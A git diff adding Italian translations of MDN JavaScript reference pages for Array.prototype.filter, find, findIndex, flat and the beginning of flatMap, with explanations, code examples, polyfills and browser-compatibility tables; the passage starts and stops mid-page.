+<p><code>filter()</code> chiama funzione ricorsiva (<code>callback</code>) fornita una volta per ciascun elemento dell'array e crea un nuovo array con tutti quei valori in cui la <code>callback</code> ha restituito un valore<a href="/en-US/docs/Glossary/Truthy"> <code>true</code></a>.. <code>callback</code> viene invocata solo per gli indici dell'array a cui sono associati dei valori; non viene invocata per inidici in cui sono stati cancellati i valori o in cui non sono stati definiti valori. Gli elementi dell'array che non superano il test vengono semplicemente ignorati, non venendo così inseriti nel nuovo array.</p>
+
+<p><code>callback</code> viene invocata con tre argomenti:</p>
+
+<ol>
+ <li>il valore dell'elemento</li>
+ <li>l'indice dell'elemento</li>
+ <li>l' Array oggetto da passare</li>
+</ol>
+
+<p>Se viene fornito a <code>filter</code> un parametro <code>thisArg</code> , questo verrà passato a sua volta a <code>callback</code> quando verrà invocata per usarlo come valore di <code>this</code> . Altrimenti verrà passato un valore <code>undefined</code> per essere usato come valore di <code>this</code>. Il valore  <code>this</code> osservabile in definitiva dalla funzione <code>callback</code> viene scelto seguendo <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">le usuali regole di determinazione dei <code>this </code>visti da una funzione</a>.</p>
+
+<p><code>filter()</code> non muta l'array sul quale viene chiamata.</p>
+
+<p>La gamma di element processati da <code>filter()</code> viene impostata prima della invocazione della <code>callback</code>. Gli elementi che vengono mesi nell'array da filtrare dopo l'invocazione di <code>filter()</code> non verranno esaminati dalla <code>callback</code>. Se ci sono elementi dell'array da fitrare i cui valori vengono cambiati o vengono cancellati dopo la applicazione di <code>filter()</code> ,  questi nel tempo di chamata di <code>filter()</code> verranno testati dalla  <code>callback</code> nello stato previo alla loro modifica. Elementi cancellati prima della applicazione di  <code>filter()</code>  non vengono visitati.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Filtrare_tutti_i_piccoli_valori">Filtrare tutti i piccoli valori</h3>
+
+<p>Il seguente esempio usa <code>filter()</code> per realizzare un array filtrato che non contenga elementi di valore inferiore a 10.</p>
+
+<pre class="brush: js">function isBigEnough(value) {
+  return value &gt;= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered is [12, 130, 44]
+</pre>
+
+<h3 id="Filtrare_entrate_non_valide_in_JSON">Filtrare entrate non valide in JSON</h3>
+
+<p>Il sequente esempio di utilizzo di <code>filter()</code> crea un json filtrato di elementi con valido  id numerico.</p>
+
+<pre class="brush: js">var arr = [
+  { id: 15 },
+  { id: -1 },
+  { id: 0 },
+  { id: 3 },
+  { id: 12.2 },
+  { },
+  { id: null },
+  { id: NaN },
+  { id: 'undefined' }
+];
+
+var invalidEntries = 0;
+
+function isNumber(obj) {
+  return obj!== undefined &amp;&amp; typeof(obj) === 'number' &amp;&amp; !isNaN(obj);
+}
+
+function filterByID(item) {
+  if (isNumber(item.id)) {
+    return true;
+  }
+  invalidEntries++;
+  return false;
+}
+
+var arrByID = arr.filter(filterByID);
+
+console.log('Filtered Array\n', arrByID);
+// Array filtrato
+// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Quantità di entrate non valide = ', invalidEntries);
+// Quantità di entrate non valide = 4
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>filter()</code> è stato aggiunto allo standard ECMA-262 nella quinta edizione; potrebbe essere non presente in tutte le implementazioni dello standard. Puoi sempre inserire il seguente codice nei tuoi script per poter usare <code>filter()</code> nelle implementazioni ECMA-262 che non lo supportanto nativamente. Questo algoritmo è esattamente quello nella specifica ECMA-262, quinta edizione, assumendo che  <code>fn.call</code> valuti il valore originale di  {{jsxref("Function.prototype.call()")}},e che {{jsxref("Array.prototype.push()")}} abbia il suo valore originale.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter) {
+  Array.prototype.filter = function(fun/*, thisArg*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var res = [];
+    var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t) {
+        var val = t[i];
+
+        // NOTE: Technically this should Object.defineProperty at
+        //       the next index, as push can be affected by
+        //       properties on Object.prototype and Array.prototype.
+        //       But that method's new, and collisions should be
+        //       rare, so use the more-compatible alternative.
+        if (fun.call(thisArg, val, i, t)) {
+          res.push(val);
+        }
+      }
+    }
+
+    return res;
+  };
+}
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>
+    <p>Definizione iniziale. Implementato in javascript 1.6.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/find/index.html b/files/it/web/javascript/reference/global_objects/array/find/index.html
new file mode 100644
index 0000000000..c215ff79e7
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/find/index.html
@@ -0,0 +1,216 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Reference/Global_Objects/Array/find
+tags:
+  - Array
+  - ECMAScript 2015
+  - ECMAScript6
+  - JavaScript
+  - Prototype
+  - Riferimento
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>find()</strong></code> restituisce il <strong>valore</strong> del primo elemento nell'array che soddisfi la funzione di test passata come argomento. Altrimenti viene restituito {{jsxref("undefined")}}.</p>
+
+<pre class="brush: js">function isBigEnough(element) {
+  return element &gt;= 15;
+}
+
+[12, 5, 8, 130, 44].find(isBigEnough); // 130</pre>
+
+<p>Vedi anche il metodo {{jsxref("Array.findIndex", "findIndex()")}}, che restituisce l'<strong>indice</strong> dell'elemento trovato nell'array invece del suo valore.</p>
+
+<p>Se hai bisogno di trovare la posizione di un elemento o determinare se un elemento esiste o meno nell'array, puoi usare i metodi {{jsxref("Array.prototype.indexOf()")}} o {{jsxref("Array.prototype.includes()")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione da eseguire per ogni valore contenuto nell'array, richiede tre argomenti:
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>L'elemento nell'array che dev'essere testato.</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice dell'elemento nell'array che dev'essere testato.</dd>
+  <dt><code>array</code></dt>
+  <dd>L'array sul quale è stato chiamato il <code>find</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Opzionale. L'oggetto da utilizzare come <code>this</code> durante l'esecuzione della <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Un valore dell'array se un elemento soddisfa la condizione; altrimenti, {{jsxref("undefined")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code>find</code> esegue la funzione di <code>callback</code> una sola volta per ciascun elemento nell'array finché non ne trova uno per il quale la funzione di <code>callback</code> restituisca <code>true</code>. Se tale elemento viene trovato, <code>find</code> restituisce immediatamente il valore di quell'elemento. Altrimenti, <code>find</code> restituisce {{jsxref("undefined")}}. La funzione <code>callback</code> è invocata solo per quegli indici dell'array per i quali esiste un valore; non viene invocata per quegli indici che sono stati cancellati o ai quali non è mai stato assegnato alcun valore.</p>
+
+<p>Alla funzione <code>callback</code> vengono passati tre parametri: il valore dell'elemento, l'indice dell'elemento e l'oggetto Array che si sta esplorando.</p>
+
+<p>Se viene passato il parametro <code>thisArg</code> al metodo <code>find</code>, questo verrà usato come <code>this</code> per ciascuna invocazione della funzione <code>callback</code>. Altrimenti viene utilizzato {{jsxref("undefined")}}.</p>
+
+<p>Il metodo <code>find</code> non modifica l'array sul quale viene chiamato.</p>
+
+<p>L'intervallo di elementi analizzati dal metodo <code>find</code> è impostato prima della prima invocazione della <code>callback</code>. Gli elementi aggiunti all'array successivamente alla chiamata del metodo <code>find</code> non verranno analizzate dalla <code>callback</code>. Se un elemento dell'array esistente, ma non ancora visitato, viene modificato dalla <code>callback</code>, il valore passato alla funzione <code>callback</code> sarà il valore contenuto nel momento in cui il metodo <code>find</code> visita l'indice di quell'elemento; gli elementi eliminati non vengono visitati.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Trova_un_oggetto_in_un_array_tramite_una_sua_proprietà">Trova un oggetto in un array tramite una sua proprietà</h3>
+
+<pre class="brush: js">var inventario = [
+    {name: 'mele', quantity: 2},
+    {name: 'banane', quantity: 0},
+    {name: 'ciliegie', quantity: 5}
+];
+
+function findCherries(fruit) {
+    return fruit.name === 'ciliegie';
+}
+
+console.log(inventario.find(findCherries));
+// { name: 'ciliegie', quantity: 5 }</pre>
+
+<h3 id="Trova_un_numero_primo_in_un_array">Trova un numero primo in un array</h3>
+
+<p>L'esempio seguente trova un elemento nell'array che sia un numero primo (o restituisce {{jsxref("undefined")}} se non ce ne sono).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(isPrime)); // undefined, non trovato
+console.log([4, 5, 8, 12].find(isPrime)); // 5
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Questo metodo è stato aggiunto nella specifica ECMAScript 2015 e potrebbe non ancora essere disponibile in tutte le implementazioni JavaScript. Comunque, puoi aggiungere il metodo <code>Array.prototype.find()</code> utilizzando il seguente snippet:</p>
+
+<pre class="brush: js">if (!Array.prototype.find) {
+  Object.defineProperty(Array.prototype, 'find', {
+    value: function(predicate) {
+     'use strict';
+     if (this == null) {
+       throw new TypeError('Array.prototype.find called on null or undefined');
+     }
+     if (typeof predicate !== 'function') {
+       throw new TypeError('predicate must be a function');
+     }
+     var list = Object(this);
+     var length = list.length &gt;&gt;&gt; 0;
+     var thisArg = arguments[1];
+
+     for (var i = 0; i !== length; i++) {
+       if (predicate.call(thisArg, this[i], i, list)) {
+         return this[i];
+       }
+     }
+     return undefined;
+    }
+  });
+}
+</pre>
+
+<p>Se hai la necessità di supportare motori JavaScript molto obsoleti che non supportano <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, sarebbe meglio non aggiungere per niente il metodo  <code>Array.prototype.find()</code>, poiché potresti renderli non-enumerabili.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>{{CompatOpera(32.0)}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Edge</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>{{CompatNo}}</td>
+   <td>8.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/findindex/index.html b/files/it/web/javascript/reference/global_objects/array/findindex/index.html
new file mode 100644
index 0000000000..f9f2f65791
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/findindex/index.html
@@ -0,0 +1,182 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Il metodo <code><strong>findIndex()</strong></code> restituisce l'<strong>indice</strong> del primo elemento nell'array <strong>che soddisfa la funzione di testing fornita</strong>. Altrimenti, restituisce <code>-1</code>, indicando che nessun elemento ha superato il test.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-findindex.html","shorter")}}</div>
+
+<div class="hidden">Il sorgente di questo esempio interattivo è salvato una repository GitHub. Se volessi contribuire al progetto degli esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and inviaci una pull request.</div>
+
+<p>Guarda anche il metodo {{jsxref("Array.find", "find()")}}, che restituisce il <strong>valore</strong> dell'elemento anziché il suo indice.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><var>arr</var>.findIndex(<var>callback</var>( <var>elemento</var>[,<em>indice</em>[, <var>array</var>]] )[, <var>thisArg</var>])
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code><var>callback</var></code></dt>
+ <dd>
+ <p>Una funzione da eseguire su ognuno dei valori finché la funzione non resitituisce <code>true</code>, indicando che l'elemento che soddisfa la condizione è stato trovato.</p>
+
+ <p>Prende in input tre argomenti:</p>
+
+ <dl>
+  <dt><code><var>elemento</var></code></dt>
+  <dd>L'elemento dell'array che viene processato.</dd>
+  <dt><code><var>indice</var></code> {{optional_inline}}</dt>
+  <dd>L'indice dell'elemento dell'array che viene processato.</dd>
+  <dt><code><var>array</var></code> {{optional_inline}}</dt>
+  <dd>L'array su cui è stato chiamato <code>findIndex()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code><var>thisArg</var></code> {{optional_inline}}</dt>
+ <dd>Oggetto da usare come <code>this</code> quando viene eseguita la <code><var>callback</var></code>.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>L'indice dell primo elemento dell'array che supera il test. Altrimenti <code>-1</code>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Il metodo </span></font>findIndex()</code> esegue la <code><var>callback</var></code> una volta per ogni indice nell'array finché non trova quello per cui la <code><var>callback</var></code> ritorna un valore {{Glossary("truthy")}}.</p>
+
+<p>Se l'elemento viene trovato, <code>findIndex()</code>  restitutisce immediatamente l'idice dell'elemento. Se <code><var>callback</var></code> non restituisce mai un valore {{Glossary("truthy")}} (o la <code>length</code> dell'array è <code>0</code>), <code>findIndex()</code> restituisce <code>-1</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Caso limite: </strong>A differenza di altri metodi per array come {{jsxref("Array.some()")}}, <code><var>callback</var></code> viene eseguita anche per gli indici con valori non assegnati.</p>
+</div>
+
+<p><code><var>callback</var></code> è invocata con tre argomenti:</p>
+
+<ol>
+ <li>Il valore dell'elemento</li>
+ <li>L'indice dell'elemento</li>
+ <li>L'oggetto Array che viene percorso</li>
+</ol>
+
+<p>Se viene passato a <code>findIndex()</code> un parametro <code><var>thisArg</var></code>, sarà usato come <code>this</code> in ogni invocazione di <code><var>callback</var></code>. Se non viene passato si usa {{jsxref("undefined")}}.</p>
+
+<p>The range of elements processed by <code>findIndex()</code> is set before the first invocation of <code><var>callback</var></code>. <code><var>callback</var></code> will not process the elements appended to the array after the call to <code>findIndex()</code> begins. If an existing, unvisited element of the array is changed by <code><var>callback</var></code>, its value passed to the <code><var>callback</var></code> will be the value at the time <code>findIndex()</code> visits the element's index.</p>
+
+<p>Elements that are <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">deleted</a> are still visited.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js notranslate">// https://tc39.github.io/ecma262/#sec-array.prototype.findindex
+if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return k.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return k;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return -1.
+      return -1;
+    },
+    configurable: true,
+    writable: true
+  });
+}
+</pre>
+
+<p>If you need to support truly obsolete JavaScript engines that do not support {{jsxref("Object.defineProperty")}}, it is best not to polyfill <code>Array.prototype</code> methods at all, as you cannot make them non-enumerable.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Find_the_index_of_a_prime_number_in_an_array">Find the index of a prime number in an array</h3>
+
+<p>The following example returns the index of the first element in the array that is a prime number, or <code>-1</code> if there is no prime number.</p>
+
+<pre class="brush: js notranslate">function isPrime(num) {
+  for (let i = 2; num &gt; i; i++) {
+    if (num % i == 0) {
+      return false;
+    }
+  }
+  return num &gt; 1;
+}
+
+console.log([4, 6, 8, 9, 12].findIndex(isPrime)); // -1, not found
+console.log([4, 6, 7, 9, 12].findIndex(isPrime)); // 2 (array[2] is 7)
+</pre>
+
+<h3 id="Find_index_using_arrow_function">Find index using arrow function</h3>
+
+<p>The following example finds the index of a fruit using an arrow function:</p>
+
+<pre class="brush: js notranslate">const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"];
+
+const index = fruits.findIndex(fruit =&gt; fruit === "blueberries");
+
+console.log(index); // 3
+console.log(fruits[index]); // blueberries
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.findIndex")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/flat/index.html b/files/it/web/javascript/reference/global_objects/array/flat/index.html
new file mode 100644
index 0000000000..3c5a81ed4b
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/flat/index.html
@@ -0,0 +1,159 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flat
+tags:
+  - Array
+  - JavaScript
+  - Prototype
+  - Referenza
+  - flat
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div></div>
+
+<div>{{JSRef}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Il metodo </span></font><strong>flat()</strong></code> crea un nuovo array con tutti gli elementi dei propri sotto-array concatenati ricorsivamente al suo interno fino alla profondità specificata.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatten.html")}}</p>
+
+<p class="hidden">Il codice sorgente per questo esempio interattivo è mantenuto in una repository GitHub. Se vuoi contribuire al progetto degli esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><var>var newArray = arr</var>.flat(<em>[profondità]</em>);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">profondità</span></font> {{optional_inline}}</dt>
+ <dd>Il livello di profondità che specifica quanto a fondo la struttura di array annidati deve essere appianata. Default a 1.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un nuovo array con gli elementi dei sotto-array concatenati al suo interno.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Appianare_array_annidati">Appianare array annidati</h3>
+
+<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+</pre>
+
+<h3 id="Appianamento_e_slot_vuoti_negli_array">Appianamento e slot vuoti negli array</h3>
+
+<p>Il metodo flat rimuove gli slot vuoti in un array:</p>
+
+<pre class="brush: js notranslate">var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+</pre>
+
+<h2 id="Alternative">Alternative</h2>
+
+<h3 id="reduce_e_concat"><code>reduce</code> e <code>concat</code></h3>
+
+<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+
+//appianare array di un livello
+arr1.reduce((acc, val) =&gt; acc.concat(val), []);// [1, 2, 3, 4]
+
+//o
+const flatSingle = arr =&gt; [].concat(...arr);
+</pre>
+
+<pre class="brush: js notranslate">//abilitare appianamento a una certà profondità usando reduce e concat
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+
+function flattenDeep(arr1) {
+   return arr1.reduce((acc, val) =&gt; Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
+}
+flattenDeep(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+<pre class="brush: js notranslate">//appianamento profondo non ricorsivo usando uno stack
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+function flatten(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // rimozione valore dallo stack
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // reinserimento degli elementi degli array, non modifica l'input originale
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  //reverse per ripristinare l'ordine originario
+  return res.reverse();
+}
+flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+<pre class="brush: js notranslate">//appianamento profondo ricorsivo
+function flatten(array) {
+  var flattend = [];
+  !(function flat(array) {
+    array.forEach(function(el) {
+      if (Array.isArray(el)) flat(el);
+      else flattend.push(el);
+    });
+  })(array);
+  return flattend;
+}
+</pre>
+
+<div class="hidden">
+<p>Per favore, non aggiungere polyfill a questo articolo. Per referenze, controllare: <a href="https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500">https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500</a></p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flat"><code>Array.prototype.flat</code> proposal</a></p>
+   </td>
+   <td>Finished (4)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e mandaci una pull request se vuoi contribuire.</div>
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/flatmap/index.html b/files/it/web/javascript/reference/global_objects/array/flatmap/index.html
new file mode 100644
index 0000000000..4397fd7c5d
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/flatmap/index.html
@@ -0,0 +1,142 @@
+---
+title: Array.prototype.flatMap()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>flatMap()</strong></code> prima mappa ogni elemento eseguendo la funzione passata come parametro, poi appiattisce il risultato in un nuovo array. Il comportamento è identico a una chiamata a  {{jsxref("Array.prototype.map","map()")}} seguita da un {{jsxref("Array.prototype.flat","flat()")}} con profondità 1, ma <code>flatMap()</code> in questo caso è la soluzione migliore perché è più efficente delle due chiamate separate.</p>
+
+<p class="hidden">{{EmbedInteractiveExample("pages/js/array-flatmap.html")}}</p>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><var>var new_array = arr</var>.flatMap(function <var>callback(currentValue[, index[, array]]) {
+    // restituisci un elemento per il nuovo array
+}</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
